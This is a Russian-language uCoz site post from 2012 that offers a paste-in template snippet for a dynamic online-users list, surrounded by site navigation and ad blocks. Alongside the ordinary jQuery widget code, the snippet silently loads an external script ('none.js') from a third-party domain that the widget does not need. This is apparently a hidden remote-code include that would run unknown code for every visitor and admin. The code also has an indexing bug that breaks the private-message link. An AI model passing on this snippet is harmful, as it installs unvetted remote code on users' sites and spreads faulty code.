Навигация
Категории
Top Hьюсмекеров
zenj68 Репутация: 0Пол: Мужчина Новости: 5396
Miracle Репутация: 5Пол: Мужчина Новости: 4494
Gunpowder Репутация: 0Пол: Мужчина Новости: 4024
Magik Репутация: 0Пол: Мужчина Новости: 2567
Рекламка
Тут ваша реклама
Помощь сайту
Рекламодатели
Здесь может быть ваша реклама
Главная » 2012 » Октябрь » 16 » Новый простой динамичный список онлайн пользователей
Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный
Установка:
В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:
Code
<div class="apoulist" style="display:none;"> $ONLINE_USERS_LIST$ </div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style> .apo { width:95%; height:15px; background:rgba(230, 230, 230, 0.8); padding:2px; vertical-align:middle; margin-bottom:5px; font-weight:bold; border-left:1px solid #ccc; border-top:1px solid #ccc; border-radius:2px; } .apo a { text-decoration:none; } </style> <script> // Удобная динамичная онлайн статистика by Apocalypse function apoOnGet() { // Основная функция получения и стилизации списка пользователей $('.apoulist').load('# .apoulist', function() { // Убираем запятые $('.apoulist').html($('.apoulist').html().replace(/\,/g, '')); // Делаем форму видимой $('.apoulist').fadeIn(); // Превращаем список пользователей в блочный вариант + отключаем события при клике $('.apoulist a').each(function() { $(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>'); }).removeAttr('onclick').click(function() {return false}); }); }; // Запускаем функцию при загрузке страницы apoOnGet(); // Запускаем интервал автообновления setInterval(function() { apoOnGet(); }, 30000); // Функция получения профиля function apoGetP(name) { new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false}); } // Функция получения страницы Личных Сообщений function apoGetPm(url) { var url2 = url.split('-'); var url3 = url2[url2.length]; new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false}); } // ApoTeam (c) 2012 </script>
Добавлять комментарии могут только зарегистрированные пользователи.
[
Регистрация |
Вход ]
Последние сообщения на форумах
Календарь
Реклама
Здесь может быть ваша реклама
Top 5 Коментаторов
lanx Репутация: 211Пол: Мужчина Комментoв: 17
mars Репутация: 0Пол: Мужчина Комментoв: 3
denis Репутация: 0Пол: Мужчина Комментoв: 2
royss Репутация: 2Пол: Мужчина Комментoв: 2
cube Репутация: 28Пол: Мужчина Комментoв: 2
Кто с нами
Онлайн всего: 4
Гостей: 4
Пользователей: 0
Друзья сайта
Рекламодатели
Здесь может быть ваша реклама